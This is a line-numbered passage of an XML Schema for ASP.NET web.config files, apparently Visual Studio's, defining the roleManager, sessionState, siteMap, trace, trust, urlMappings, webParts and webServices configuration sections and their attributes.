2834 <xs:attribute name="lockAllElementsExcept" type="xs:string" use="optional" />
2835 <xs:attribute name="lockItem" type="small_boolean_Type" use="optional" />
2836 <xs:anyAttribute processContents="skip" />
2837 </xs:complexType>
2838 </xs:element>
2839 <xs:element name="remove" vs:help="configuration/system.web/profile/providers/remove">
2840 <xs:complexType>
2841 <xs:attribute name="name" type="xs:string" use="required" />
2842 </xs:complexType>
2843 </xs:element>
2844 <xs:element name="clear" vs:help="configuration/system.web/profile/providers/clear">
2845 <xs:complexType>
2846 <!--tag is empty-->
2847 </xs:complexType>
2848 </xs:element>
2849 </xs:choice>
2850 <xs:attribute name="lockAttributes" type="xs:string" use="optional" />
2851 <xs:attribute name="lockAllAttributesExcept" type="xs:string" use="optional" />
2852 <xs:attribute name="lockElements" type="xs:string" use="optional" />
2853 <xs:attribute name="lockAllElementsExcept" type="xs:string" use="optional" />
2854 <xs:attribute name="lockItem" type="small_boolean_Type" use="optional" />
2855 </xs:complexType>
2856 </xs:element>
2857 </xs:choice>
2858 <xs:attribute name="automaticSaveEnabled" type="small_boolean_Type" use="optional" />
2859 <xs:attribute name="defaultProvider" use="optional">
2860 <xs:simpleType>
2861 <xs:restriction base="xs:string">
2862 <xs:minLength value="1" />
2863 </xs:restriction>
2864 </xs:simpleType>
2865 </xs:attribute>
2866 <xs:attribute name="enabled" type="small_boolean_Type" use="optional" />
2867 <xs:attribute name="inherits" type="xs:string" use="optional" />
2868 <xs:attribute name="lockAttributes" type="xs:string" use="optional" />
2869 <xs:attribute name="lockAllAttributesExcept" type="xs:string" use="optional" />
2870 <xs:attribute name="lockElements" type="xs:string" use="optional" />
2871 <xs:attribute name="lockAllElementsExcept" type="xs:string" use="optional" />
2872 <xs:attribute name="lockItem" type="small_boolean_Type" use="optional" />
2873 <xs:attribute name="configSource" type="xs:string" use="optional" />
2874 </xs:complexType>
2875 </xs:element>
2876 <xs:element name="roleManager" vs:help="configuration/system.web/roleManager">
2877 <xs:complexType>
2878 <xs:choice minOccurs="0" maxOccurs="unbounded">
2879 <xs:element name="providers" vs:help="configuration/system.web/roleManager/providers">
2880 <xs:complexType>
2881 <xs:choice minOccurs="0" maxOccurs="unbounded">
2882 <xs:element name="add" vs:help="configuration/system.web/roleManager/providers/add">
2883 <xs:complexType>
2884 <xs:attribute name="name" type="xs:string" use="required" />
2885 <xs:attribute name="type" type="xs:string" use="required" />
2886 <xs:attribute name="lockAttributes" type="xs:string" use="optional" />
2887 <xs:attribute name="lockAllAttributesExcept" type="xs:string" use="optional" />
2888 <xs:attribute name="lockElements" type="xs:string" use="optional" />
2889 <xs:attribute name="lockAllElementsExcept" type="xs:string" use="optional" />
2890 <xs:attribute name="lockItem" type="small_boolean_Type" use="optional" />
2891 <xs:anyAttribute processContents="skip" />
2892 </xs:complexType>
2893 </xs:element>
2894 <xs:element name="remove" vs:help="configuration/system.web/roleManager/providers/remove">
2895 <xs:complexType>
2896 <xs:attribute name="name" type="xs:string" use="required" />
2897 </xs:complexType>
2898 </xs:element>
2899 <xs:element name="clear" vs:help="configuration/system.web/roleManager/providers/clear">
2900 <xs:complexType>
2901 <!--tag is empty-->
2902 </xs:complexType>
2903 </xs:element>
2904 </xs:choice>
2905 <xs:attribute name="lockAttributes" type="xs:string" use="optional" />
2906 <xs:attribute name="lockAllAttributesExcept" type="xs:string" use="optional" />
2907 <xs:attribute name="lockElements" type="xs:string" use="optional" />
2908 <xs:attribute name="lockAllElementsExcept" type="xs:string" use="optional" />
2909 <xs:attribute name="lockItem" type="small_boolean_Type" use="optional" />
2910 </xs:complexType>
2911 </xs:element>
2912 </xs:choice>
2913 <xs:attribute name="cacheRolesInCookie" type="small_boolean_Type" use="optional" />
2914 <xs:attribute name="cookieName" use="optional">
2915 <xs:simpleType>
2916 <xs:restriction base="xs:string">
2917 <xs:minLength value="1" />
2918 <xs:whiteSpace value="collapse" />
2919 </xs:restriction>
2920 </xs:simpleType>
2921 </xs:attribute>
2922 <xs:attribute name="cookiePath" use="optional">
2923 <xs:simpleType>
2924 <xs:restriction base="xs:string">
2925 <xs:minLength value="1" />
2926 <xs:whiteSpace value="collapse" />
2927 </xs:restriction>
2928 </xs:simpleType>
2929 </xs:attribute>
2930 <xs:attribute name="cookieProtection" use="optional">
2931 <xs:simpleType>
2932 <xs:restriction base="xs:NMTOKEN">
2933 <xs:enumeration value="All" />
2934 <xs:enumeration value="Encryption" />
2935 <xs:enumeration value="None" />
2936 <xs:enumeration value="Validation" />
2937 </xs:restriction>
2938 </xs:simpleType>
2939 </xs:attribute>
2940 <xs:attribute name="cookieRequireSSL" type="small_boolean_Type" use="optional" />
2941 <xs:attribute name="cookieSlidingExpiration" type="small_boolean_Type" use="optional" />
2942 <xs:attribute name="cookieTimeout" use="optional">
2943 <xs:simpleType>
2944 <xs:restriction base="xs:string">
2945 <xs:pattern value="([0-9.]+:){0,1}([0-9]+:){0,1}[0-9.]+" />
2946 </xs:restriction>
2947 </xs:simpleType>
2948 </xs:attribute>
2949 <xs:attribute name="createPersistentCookie" type="small_boolean_Type" use="optional" />
2950 <xs:attribute name="defaultProvider" use="optional">
2951 <xs:simpleType>
2952 <xs:restriction base="xs:string">
2953 <xs:minLength value="1" />
2954 <xs:whiteSpace value="collapse" />
2955 </xs:restriction>
2956 </xs:simpleType>
2957 </xs:attribute>
2958 <xs:attribute name="domain" type="xs:string" use="optional" />
2959 <xs:attribute name="enabled" type="small_boolean_Type" use="optional" />
2960 <xs:attribute name="maxCachedResults" type="xs:int" use="optional" />
2961 <xs:attribute name="lockAttributes" type="xs:string" use="optional" />
2962 <xs:attribute name="lockAllAttributesExcept" type="xs:string" use="optional" />
2963 <xs:attribute name="lockElements" type="xs:string" use="optional" />
2964 <xs:attribute name="lockAllElementsExcept" type="xs:string" use="optional" />
2965 <xs:attribute name="lockItem" type="small_boolean_Type" use="optional" />
2966 <xs:attribute name="configSource" type="xs:string" use="optional" />
2967 </xs:complexType>
2968 </xs:element>
2969 <xs:element name="securityPolicy" vs:help="configuration/system.web/securityPolicy">
2970 <xs:complexType>
2971 <xs:choice minOccurs="0" maxOccurs="unbounded">
2972 <xs:element name="trustLevel" vs:help="configuration/system.web/securityPolicy/trustLevel">
2973 <xs:complexType>
2974 <xs:attribute name="name" use="required">
2975 <xs:simpleType>
2976 <xs:restriction base="xs:string">
2977 <xs:minLength value="1" />
2978 </xs:restriction>
2979 </xs:simpleType>
2980 </xs:attribute>
2981 <xs:attribute name="policyFile" type="xs:string" use="required" />
2982 <xs:attribute name="lockAttributes" type="xs:string" use="optional" />
2983 <xs:attribute name="lockAllAttributesExcept" type="xs:string" use="optional" />
2984 <xs:attribute name="lockElements" type="xs:string" use="optional" />
2985 <xs:attribute name="lockAllElementsExcept" type="xs:string" use="optional" />
2986 <xs:attribute name="lockItem" type="small_boolean_Type" use="optional" />
2987 </xs:complexType>
2988 </xs:element>
2989 </xs:choice>
2990 <xs:attribute name="lockAttributes" type="xs:string" use="optional" />
2991 <xs:attribute name="lockAllAttributesExcept" type="xs:string" use="optional" />
2992 <xs:attribute name="lockElements" type="xs:string" use="optional" />
2993 <xs:attribute name="lockAllElementsExcept" type="xs:string" use="optional" />
2994 <xs:attribute name="lockItem" type="small_boolean_Type" use="optional" />
2995 <xs:attribute name="configSource" type="xs:string" use="optional" />
2996 </xs:complexType>
2997 </xs:element>
2998 <xs:element name="sessionPageState" vs:help="configuration/system.web/sessionPageState">
2999 <xs:complexType>
3000 <xs:attribute name="historySize" use="optional">
3001 <xs:simpleType>
3002 <xs:restriction base="xs:int">
3003 <xs:minInclusive value="1" />
3004 </xs:restriction>
3005 </xs:simpleType>
3006 </xs:attribute>
3007 <xs:attribute name="lockAttributes" type="xs:string" use="optional" />
3008 <xs:attribute name="lockAllAttributesExcept" type="xs:string" use="optional" />
3009 <xs:attribute name="lockElements" type="xs:string" use="optional" />
3010 <xs:attribute name="lockAllElementsExcept" type="xs:string" use="optional" />
3011 <xs:attribute name="lockItem" type="small_boolean_Type" use="optional" />
3012 <xs:attribute name="configSource" type="xs:string" use="optional" />
3013 </xs:complexType>
3014 </xs:element>
3015 <xs:element name="sessionState" vs:help="configuration/system.web/sessionState">
3016 <xs:complexType>
3017 <xs:choice minOccurs="0" maxOccurs="unbounded">
3018 <xs:element name="providers" vs:help="configuration/system.web/sessionState/providers">
3019 <xs:complexType>
3020 <xs:choice minOccurs="0" maxOccurs="unbounded">
3021 <xs:element name="add" vs:help="configuration/system.web/sessionState/providers/add">
3022 <xs:complexType>
3023 <xs:attribute name="name" type="xs:string" use="required" />
3024 <xs:attribute name="type" type="xs:string" use="required" />
3025 <xs:attribute name="lockAttributes" type="xs:string" use="optional" />
3026 <xs:attribute name="lockAllAttributesExcept" type="xs:string" use="optional" />
3027 <xs:attribute name="lockElements" type="xs:string" use="optional" />
3028 <xs:attribute name="lockAllElementsExcept" type="xs:string" use="optional" />
3029 <xs:attribute name="lockItem" type="small_boolean_Type" use="optional" />
3030 </xs:complexType>
3031 </xs:element>
3032 <xs:element name="remove" vs:help="configuration/system.web/sessionState/providers/remove">
3033 <xs:complexType>
3034 <xs:attribute name="name" type="xs:string" use="required" />
3035 </xs:complexType>
3036 </xs:element>
3037 <xs:element name="clear" vs:help="configuration/system.web/sessionState/providers/clear">
3038 <xs:complexType>
3039 <!--tag is empty-->
3040 </xs:complexType>
3041 </xs:element>
3042 </xs:choice>
3043 <xs:attribute name="lockAttributes" type="xs:string" use="optional" />
3044 <xs:attribute name="lockAllAttributesExcept" type="xs:string" use="optional" />
3045 <xs:attribute name="lockElements" type="xs:string" use="optional" />
3046 <xs:attribute name="lockAllElementsExcept" type="xs:string" use="optional" />
3047 <xs:attribute name="lockItem" type="small_boolean_Type" use="optional" />
3048 </xs:complexType>
3049 </xs:element>
3050 </xs:choice>
3051 <xs:attribute name="allowCustomSqlDatabase" type="small_boolean_Type" use="optional" />
3052 <xs:attribute name="cookieless" use="optional">
3053 <xs:simpleType>
3054 <xs:restriction base="xs:NMTOKEN">
3055 <xs:enumeration value="AutoDetect" />
3056 <xs:enumeration value="UseCookies" />
3057 <xs:enumeration value="UseDeviceProfile" />
3058 <xs:enumeration value="UseUri" />
3059 <xs:enumeration value="true" />
3060 <xs:enumeration value="false" />
3061 </xs:restriction>
3062 </xs:simpleType>
3063 </xs:attribute>
3064 <xs:attribute name="cookieName" type="xs:string" use="optional" />
3065 <xs:attribute name="customProvider" type="xs:string" use="optional" />
3066 <xs:attribute name="mode" use="optional">
3067 <xs:simpleType>
3068 <xs:restriction base="xs:NMTOKEN">
3069 <xs:enumeration value="Custom" />
3070 <xs:enumeration value="InProc" />
3071 <xs:enumeration value="Off" />
3072 <xs:enumeration value="SQLServer" />
3073 <xs:enumeration value="StateServer" />
3074 </xs:restriction>
3075 </xs:simpleType>
3076 </xs:attribute>
3077 <xs:attribute name="partitionResolverType" type="xs:string" use="optional" />
3078 <xs:attribute name="regenerateExpiredSessionId" type="small_boolean_Type" use="optional" />
3079 <xs:attribute name="sessionIDManagerType" type="xs:string" use="optional" />
3080 <xs:attribute name="sqlCommandTimeout" type="xs:string" use="optional" />
3081 <xs:attribute name="sqlConnectionString" type="xs:string" use="optional" />
3082 <xs:attribute name="stateConnectionString" type="xs:string" use="optional" />
3083 <xs:attribute name="stateNetworkTimeout" type="xs:string" use="optional" />
3084 <xs:attribute name="timeout" use="optional">
3085 <xs:simpleType>
3086 <xs:restriction base="xs:string">
3087 <xs:pattern value="([0-9.]+:){0,1}([0-9]+:){0,1}[0-9.]+" />
3088 </xs:restriction>
3089 </xs:simpleType>
3090 </xs:attribute>
3091 <xs:attribute name="useHostingIdentity" type="small_boolean_Type" use="optional" />
3092 <xs:attribute name="lockAttributes" type="xs:string" use="optional" />
3093 <xs:attribute name="lockAllAttributesExcept" type="xs:string" use="optional" />
3094 <xs:attribute name="lockElements" type="xs:string" use="optional" />
3095 <xs:attribute name="lockAllElementsExcept" type="xs:string" use="optional" />
3096 <xs:attribute name="lockItem" type="small_boolean_Type" use="optional" />
3097 <xs:attribute name="configSource" type="xs:string" use="optional" />
3098 </xs:complexType>
3099 </xs:element>
3100 <xs:element name="siteMap" vs:help="configuration/system.web/siteMap">
3101 <xs:complexType>
3102 <xs:choice minOccurs="0" maxOccurs="unbounded">
3103 <xs:element name="providers" vs:help="configuration/system.web/siteMap/providers">
3104 <xs:complexType>
3105 <xs:choice minOccurs="0" maxOccurs="unbounded">
3106 <xs:element name="add" vs:help="configuration/system.web/siteMap/providers/add">
3107 <xs:complexType>
3108 <xs:attribute name="name" type="xs:string" use="required" />
3109 <xs:attribute name="type" type="xs:string" use="required" />
3110 <xs:attribute name="lockAttributes" type="xs:string" use="optional" />
3111 <xs:attribute name="lockAllAttributesExcept" type="xs:string" use="optional" />
3112 <xs:attribute name="lockElements" type="xs:string" use="optional" />
3113 <xs:attribute name="lockAllElementsExcept" type="xs:string" use="optional" />
3114 <xs:attribute name="lockItem" type="small_boolean_Type" use="optional" />
3115 <xs:anyAttribute processContents="skip" />
3116 </xs:complexType>
3117 </xs:element>
3118 <xs:element name="remove" vs:help="configuration/system.web/siteMap/providers/remove">
3119 <xs:complexType>
3120 <xs:attribute name="name" type="xs:string" use="required" />
3121 </xs:complexType>
3122 </xs:element>
3123 <xs:element name="clear" vs:help="configuration/system.web/siteMap/providers/clear">
3124 <xs:complexType>
3125 <!--tag is empty-->
3126 </xs:complexType>
3127 </xs:element>
3128 </xs:choice>
3129 <xs:attribute name="lockAttributes" type="xs:string" use="optional" />
3130 <xs:attribute name="lockAllAttributesExcept" type="xs:string" use="optional" />
3131 <xs:attribute name="lockElements" type="xs:string" use="optional" />
3132 <xs:attribute name="lockAllElementsExcept" type="xs:string" use="optional" />
3133 <xs:attribute name="lockItem" type="small_boolean_Type" use="optional" />
3134 </xs:complexType>
3135 </xs:element>
3136 </xs:choice>
3137 <xs:attribute name="defaultProvider" use="optional">
3138 <xs:simpleType>
3139 <xs:restriction base="xs:string">
3140 <xs:minLength value="1" />
3141 </xs:restriction>
3142 </xs:simpleType>
3143 </xs:attribute>
3144 <xs:attribute name="enabled" type="small_boolean_Type" use="optional" />
3145 <xs:attribute name="lockAttributes" type="xs:string" use="optional" />
3146 <xs:attribute name="lockAllAttributesExcept" type="xs:string" use="optional" />
3147 <xs:attribute name="lockElements" type="xs:string" use="optional" />
3148 <xs:attribute name="lockAllElementsExcept" type="xs:string" use="optional" />
3149 <xs:attribute name="lockItem" type="small_boolean_Type" use="optional" />
3150 <xs:attribute name="configSource" type="xs:string" use="optional" />
3151 </xs:complexType>
3152 </xs:element>
3153 <xs:element name="trace" vs:help="configuration/system.web/trace">
3154 <xs:complexType>
3155 <xs:attribute name="enabled" type="small_boolean_Type" use="optional" />
3156 <xs:attribute name="localOnly" type="small_boolean_Type" use="optional" />
3157 <xs:attribute name="mostRecent" type="small_boolean_Type" use="optional" />
3158 <xs:attribute name="pageOutput" type="small_boolean_Type" use="optional" />
3159 <xs:attribute name="requestLimit" use="optional">
3160 <xs:simpleType>
3161 <xs:restriction base="xs:int">
3162 <xs:minInclusive value="0" />
3163 </xs:restriction>
3164 </xs:simpleType>
3165 </xs:attribute>
3166 <xs:attribute name="traceMode" use="optional">
3167 <xs:simpleType>
3168 <xs:restriction base="xs:NMTOKEN">
3169 <xs:enumeration value="SortByCategory" />
3170 <xs:enumeration value="SortByTime" />
3171 </xs:restriction>
3172 </xs:simpleType>
3173 </xs:attribute>
3174 <xs:attribute name="writeToDiagnosticsTrace" type="small_boolean_Type" use="optional" />
3175 <xs:attribute name="lockAttributes" type="xs:string" use="optional" />
3176 <xs:attribute name="lockAllAttributesExcept" type="xs:string" use="optional" />
3177 <xs:attribute name="lockElements" type="xs:string" use="optional" />
3178 <xs:attribute name="lockAllElementsExcept" type="xs:string" use="optional" />
3179 <xs:attribute name="lockItem" type="small_boolean_Type" use="optional" />
3180 <xs:attribute name="configSource" type="xs:string" use="optional" />
3181 </xs:complexType>
3182 </xs:element>
3183 <xs:element name="trust" vs:help="configuration/system.web/trust">
3184 <xs:complexType>
3185 <xs:attribute name="level" use="required">
3186 <xs:simpleType>
3187 <xs:restriction base="xs:string">
3188 <xs:minLength value="1" />
3189 </xs:restriction>
3190 </xs:simpleType>
3191 </xs:attribute>
3192 <xs:attribute name="originUrl" type="xs:string" use="optional" />
3193 <xs:attribute name="processRequestInApplicationTrust" type="small_boolean_Type" use="optional" />
3194 <xs:attribute name="lockAttributes" type="xs:string" use="optional" />
3195 <xs:attribute name="lockAllAttributesExcept" type="xs:string" use="optional" />
3196 <xs:attribute name="lockElements" type="xs:string" use="optional" />
3197 <xs:attribute name="lockAllElementsExcept" type="xs:string" use="optional" />
3198 <xs:attribute name="lockItem" type="small_boolean_Type" use="optional" />
3199 <xs:attribute name="configSource" type="xs:string" use="optional" />
3200 </xs:complexType>
3201 </xs:element>
3202 <xs:element name="urlMappings" vs:help="configuration/system.web/urlMappings">
3203 <xs:complexType>
3204 <xs:choice minOccurs="0" maxOccurs="unbounded">
3205 <xs:element name="add" vs:help="configuration/system.web/urlMappings/add">
3206 <xs:complexType>
3207 <xs:attribute name="mappedUrl" type="xs:string" use="required" />
3208 <xs:attribute name="url" type="xs:string" use="required" />
3209 <xs:attribute name="lockAttributes" type="xs:string" use="optional" />
3210 <xs:attribute name="lockAllAttributesExcept" type="xs:string" use="optional" />
3211 <xs:attribute name="lockElements" type="xs:string" use="optional" />
3212 <xs:attribute name="lockAllElementsExcept" type="xs:string" use="optional" />
3213 <xs:attribute name="lockItem" type="small_boolean_Type" use="optional" />
3214 </xs:complexType>
3215 </xs:element>
3216 <xs:element name="remove" vs:help="configuration/system.web/urlMappings/remove">
3217 <xs:complexType>
3218 <xs:attribute name="url" type="xs:string" use="required" />
3219 </xs:complexType>
3220 </xs:element>
3221 <xs:element name="clear" vs:help="configuration/system.web/urlMappings/clear">
3222 <xs:complexType>
3223 <!--tag is empty-->
3224 </xs:complexType>
3225 </xs:element>
3226 </xs:choice>
3227 <xs:attribute name="enabled" type="small_boolean_Type" use="optional" />
3228 <xs:attribute name="lockAttributes" type="xs:string" use="optional" />
3229 <xs:attribute name="lockAllAttributesExcept" type="xs:string" use="optional" />
3230 <xs:attribute name="lockElements" type="xs:string" use="optional" />
3231 <xs:attribute name="lockAllElementsExcept" type="xs:string" use="optional" />
3232 <xs:attribute name="lockItem" type="small_boolean_Type" use="optional" />
3233 <xs:attribute name="configSource" type="xs:string" use="optional" />
3234 </xs:complexType>
3235 </xs:element>
3236 <xs:element name="webControls" vs:help="configuration/system.web/webControls">
3237 <xs:complexType>
3238 <xs:attribute name="clientScriptsLocation" use="required">
3239 <xs:simpleType>
3240 <xs:restriction base="xs:string">
3241 <xs:minLength value="1" />
3242 </xs:restriction>
3243 </xs:simpleType>
3244 </xs:attribute>
3245 <xs:attribute name="lockAttributes" type="xs:string" use="optional" />
3246 <xs:attribute name="lockAllAttributesExcept" type="xs:string" use="optional" />
3247 <xs:attribute name="lockElements" type="xs:string" use="optional" />
3248 <xs:attribute name="lockAllElementsExcept" type="xs:string" use="optional" />
3249 <xs:attribute name="lockItem" type="small_boolean_Type" use="optional" />
3250 <xs:attribute name="configSource" type="xs:string" use="optional" />
3251 </xs:complexType>
3252 </xs:element>
3253 <xs:element name="webParts" vs:help="configuration/system.web/webParts">
3254 <xs:complexType>
3255 <xs:choice minOccurs="0" maxOccurs="unbounded">
3256 <xs:element name="personalization" vs:help="configuration/system.web/webParts/personalization">
3257 <xs:complexType>
3258 <xs:choice minOccurs="0" maxOccurs="unbounded">
3259 <xs:element name="authorization" vs:help="configuration/system.web/webParts/personalization/authorization">
3260 <xs:complexType>
3261 <xs:choice minOccurs="0" maxOccurs="unbounded">
3262 <xs:element name="allow" vs:help="configuration/system.web/webParts/personalization/authorization/allow">
3263 <xs:complexType>
3264 <xs:attribute name="roles" type="xs:string" use="optional" />
3265 <xs:attribute name="users" type="xs:string" use="optional" />
3266 <xs:attribute name="verbs" type="xs:string" use="optional" />
3267 <xs:attribute name="lockAttributes" type="xs:string" use="optional" />
3268 <xs:attribute name="lockAllAttributesExcept" type="xs:string" use="optional" />
3269 <xs:attribute name="lockElements" type="xs:string" use="optional" />
3270 <xs:attribute name="lockAllElementsExcept" type="xs:string" use="optional" />
3271 <xs:attribute name="lockItem" type="small_boolean_Type" use="optional" />
3272 </xs:complexType>
3273 </xs:element>
3274 <xs:element name="deny" vs:help="configuration/system.web/webParts/personalization/authorization/deny">
3275 <xs:complexType>
3276 <xs:attribute name="roles" type="xs:string" use="optional" />
3277 <xs:attribute name="users" type="xs:string" use="optional" />
3278 <xs:attribute name="verbs" type="xs:string" use="optional" />
3279 <xs:attribute name="lockAttributes" type="xs:string" use="optional" />
3280 <xs:attribute name="lockAllAttributesExcept" type="xs:string" use="optional" />
3281 <xs:attribute name="lockElements" type="xs:string" use="optional" />
3282 <xs:attribute name="lockAllElementsExcept" type="xs:string" use="optional" />
3283 <xs:attribute name="lockItem" type="small_boolean_Type" use="optional" />
3284 </xs:complexType>
3285 </xs:element>
3286 </xs:choice>
3287 <xs:attribute name="lockAttributes" type="xs:string" use="optional" />
3288 <xs:attribute name="lockAllAttributesExcept" type="xs:string" use="optional" />
3289 <xs:attribute name="lockElements" type="xs:string" use="optional" />
3290 <xs:attribute name="lockAllElementsExcept" type="xs:string" use="optional" />
3291 <xs:attribute name="lockItem" type="small_boolean_Type" use="optional" />
3292 </xs:complexType>
3293 </xs:element>
3294 <xs:element name="providers" vs:help="configuration/system.web/webParts/personalization/providers">
3295 <xs:complexType>
3296 <xs:choice minOccurs="0" maxOccurs="unbounded">
3297 <xs:element name="add" vs:help="configuration/system.web/webParts/personalization/providers/add">
3298 <xs:complexType>
3299 <xs:attribute name="name" type="xs:string" use="required" />
3300 <xs:attribute name="type" type="xs:string" use="required" />
3301 <xs:attribute name="lockAttributes" type="xs:string" use="optional" />
3302 <xs:attribute name="lockAllAttributesExcept" type="xs:string" use="optional" />
3303 <xs:attribute name="lockElements" type="xs:string" use="optional" />
3304 <xs:attribute name="lockAllElementsExcept" type="xs:string" use="optional" />
3305 <xs:attribute name="lockItem" type="small_boolean_Type" use="optional" />
3306 <xs:anyAttribute processContents="skip" />
3307 </xs:complexType>
3308 </xs:element>
3309 <xs:element name="remove" vs:help="configuration/system.web/webParts/personalization/providers/remove">
3310 <xs:complexType>
3311 <xs:attribute name="name" type="xs:string" use="required" />
3312 </xs:complexType>
3313 </xs:element>
3314 <xs:element name="clear" vs:help="configuration/system.web/webParts/personalization/providers/clear">
3315 <xs:complexType>
3316 <!--tag is empty-->
3317 </xs:complexType>
3318 </xs:element>
3319 </xs:choice>
3320 <xs:attribute name="lockAttributes" type="xs:string" use="optional" />
3321 <xs:attribute name="lockAllAttributesExcept" type="xs:string" use="optional" />
3322 <xs:attribute name="lockElements" type="xs:string" use="optional" />
3323 <xs:attribute name="lockAllElementsExcept" type="xs:string" use="optional" />
3324 <xs:attribute name="lockItem" type="small_boolean_Type" use="optional" />
3325 </xs:complexType>
3326 </xs:element>
3327 </xs:choice>
3328 <xs:attribute name="defaultProvider" use="optional">
3329 <xs:simpleType>
3330 <xs:restriction base="xs:string">
3331 <xs:minLength value="1" />
3332 </xs:restriction>
3333 </xs:simpleType>
3334 </xs:attribute>
3335 <xs:attribute name="lockAttributes" type="xs:string" use="optional" />
3336 <xs:attribute name="lockAllAttributesExcept" type="xs:string" use="optional" />
3337 <xs:attribute name="lockElements" type="xs:string" use="optional" />
3338 <xs:attribute name="lockAllElementsExcept" type="xs:string" use="optional" />
3339 <xs:attribute name="lockItem" type="small_boolean_Type" use="optional" />
3340 </xs:complexType>
3341 </xs:element>
3342 <xs:element name="transformers" vs:help="configuration/system.web/webParts/transformers">
3343 <xs:complexType>
3344 <xs:choice minOccurs="0" maxOccurs="unbounded">
3345 <xs:element name="add" vs:help="configuration/system.web/webParts/transformers/add">
3346 <xs:complexType>
3347 <xs:anyAttribute processContents="skip" />
3348 </xs:complexType>
3349 </xs:element>
3350 <xs:element name="remove" vs:help="configuration/system.web/webParts/transformers/remove">
3351 <xs:complexType>
3352 <xs:attribute name="name" use="required">
3353 <xs:simpleType>
3354 <xs:restriction base="xs:string">
3355 <xs:minLength value="1" />
3356 </xs:restriction>
3357 </xs:simpleType>
3358 </xs:attribute>
3359 </xs:complexType>
3360 </xs:element>
3361 <xs:element name="clear" vs:help="configuration/system.web/webParts/transformers/clear">
3362 <xs:complexType>
3363 <!--tag is empty-->
3364 </xs:complexType>
3365 </xs:element>
3366 </xs:choice>
3367 <xs:attribute name="lockAttributes" type="xs:string" use="optional" />
3368 <xs:attribute name="lockAllAttributesExcept" type="xs:string" use="optional" />
3369 <xs:attribute name="lockElements" type="xs:string" use="optional" />
3370 <xs:attribute name="lockAllElementsExcept" type="xs:string" use="optional" />
3371 <xs:attribute name="lockItem" type="small_boolean_Type" use="optional" />
3372 </xs:complexType>
3373 </xs:element>
3374 </xs:choice>
3375 <xs:attribute name="enableExport" type="small_boolean_Type" use="optional" />
3376 <xs:attribute name="lockAttributes" type="xs:string" use="optional" />
3377 <xs:attribute name="lockAllAttributesExcept" type="xs:string" use="optional" />
3378 <xs:attribute name="lockElements" type="xs:string" use="optional" />
3379 <xs:attribute name="lockAllElementsExcept" type="xs:string" use="optional" />
3380 <xs:attribute name="lockItem" type="small_boolean_Type" use="optional" />
3381 <xs:attribute name="configSource" type="xs:string" use="optional" />
3382 </xs:complexType>
3383 </xs:element>
3384 <xs:element name="webServices" vs:help="configuration/system.web/webServices">
3385 <xs:complexType>
3386 <xs:choice minOccurs="0" maxOccurs="unbounded">
3387 <xs:element name="conformanceWarnings" vs:help="configuration/system.web/webServices/conformanceWarnings">
3388 <xs:complexType>
3389 <xs:choice minOccurs="0" maxOccurs="unbounded">
3390 <xs:element name="add" vs:help="configuration/system.web/webServices/conformanceWarnings/add">
3391 <xs:complexType>
3392 <xs:attribute name="name" use="optional">
3393 <xs:simpleType>
3394 <xs:union>
3395 <xs:simpleType>
3396 <xs:restriction base="xs:NMTOKEN">
3397 <xs:enumeration value="BasicProfile1_1" />
3398 <xs:enumeration value="None" />
3399 </xs:restriction>
3400 </xs:simpleType>
3401 <xs:simpleType>
3402 <xs:restriction base="xs:string" />
3403 </xs:simpleType>
3404 </xs:union>
3405 </xs:simpleType>
3406 </xs:attribute>
3407 <xs:attribute name="lockAttributes" type="xs:string" use="optional" />
3408 <xs:attribute name="lockAllAttributesExcept" type="xs:string" use="optional" />
3409 <xs:attribute name="lockElements" type="xs:string" use="optional" />
3410 <xs:attribute name="lockAllElementsExcept" type="xs:string" use="optional" />
3411 <xs:attribute name="lockItem" type="small_boolean_Type" use="optional" />
3412 </xs:complexType>
3413 </xs:element>
3414 <xs:element name="remove" vs:help="configuration/system.web/webServices/conformanceWarnings/remove">
3415 <xs:complexType>
3416 <xs:attribute name="name" use="optional">
3417 <xs:simpleType>
3418 <xs:union>
3419 <xs:simpleType>
3420 <xs:restriction base="xs:NMTOKEN">
3421 <xs:enumeration value="BasicProfile1_1" />
3422 <xs:enumeration value="None" />
3423 </xs:restriction>
3424 </xs:simpleType>
3425 <xs:simpleType>
3426 <xs:restriction base="xs:string" />
3427 </xs:simpleType>
3428 </xs:union>
3429 </xs:simpleType>
3430 </xs:attribute>
3431 </xs:complexType>
3432 </xs:element>
3433 <xs:element name="clear" vs:help="configuration/system.web/webServices/conformanceWarnings/clear">
3434 <xs:complexType>
3435 <!--tag is empty-->
3436 </xs:complexType>
3437 </xs:element>
3438 </xs:choice>
3439 <xs:attribute name="lockAttributes" type="xs:string" use="optional" />
3440 <xs:attribute name="lockAllAttributesExcept" type="xs:string" use="optional" />
3441 <xs:attribute name="lockElements" type="xs:string" use="optional" />
3442 <xs:attribute name="lockAllElementsExcept" type="xs:string" use="optional" />
3443 <xs:attribute name="lockItem" type="small_boolean_Type" use="optional" />
3444 </xs:complexType>
3445 </xs:element>
3446 <xs:element name="diagnostics" vs:help="configuration/system.web/webServices/diagnostics">
3447 <xs:complexType>
3448 <xs:attribute name="suppressReturningExceptions" type="small_boolean_Type" use="optional" />
3449 <xs:attribute name="lockAttributes" type="xs:string" use="optional" />
3450 <xs:attribute name="lockAllAttributesExcept" type="xs:string" use="optional" />
3451 <xs:attribute name="lockElements" type="xs:string" use="optional" />
3452 <xs:attribute name="lockAllElementsExcept" type="xs:string" use="optional" />
3453 <xs:attribute name="lockItem" type="small_boolean_Type" use="optional" />
3454 </xs:complexType>
3455 </xs:element>
3456 <xs:element name="protocols" vs:help="configuration/system.web/webServices/protocols">
3457 <xs:complexType>
3458 <xs:choice minOccurs="0" maxOccurs="unbounded">
3459 <xs:element name="add" vs:help="configuration/system.web/webServices/protocols/add">
3460 <xs:complexType>
3461 <xs:attribute name="name" use="optional">
3462 <xs:simpleType>
3463 <xs:union>
3464 <xs:simpleType>
3465 <xs:restriction base="xs:NMTOKEN">
3466 <xs:enumeration value="AnyHttpSoap" />
3467 <xs:enumeration value="Documentation" />
3468 <xs:enumeration value="HttpGet" />
3469 <xs:enumeration value="HttpPost" />
3470 <xs:enumeration value="HttpPostLocalhost" />
3471 <xs:enumeration value="HttpSoap" />
3472 <xs:enumeration value="HttpSoap12" />
3473 <xs:enumeration value="Unknown" />
3474 </xs:restriction>
3475 </xs:simpleType>
3476 <xs:simpleType>
3477 <xs:restriction base="xs:string" />
3478 </xs:simpleType>
3479 </xs:union>
3480 </xs:simpleType>
3481 </xs:attribute>
3482 <xs:attribute name="lockAttributes" type="xs:string" use="optional" />
3483 <xs:attribute name="lockAllAttributesExcept" type="xs:string" use="optional" />
3484 <xs:attribute name="lockElements" type="xs:string" use="optional" />
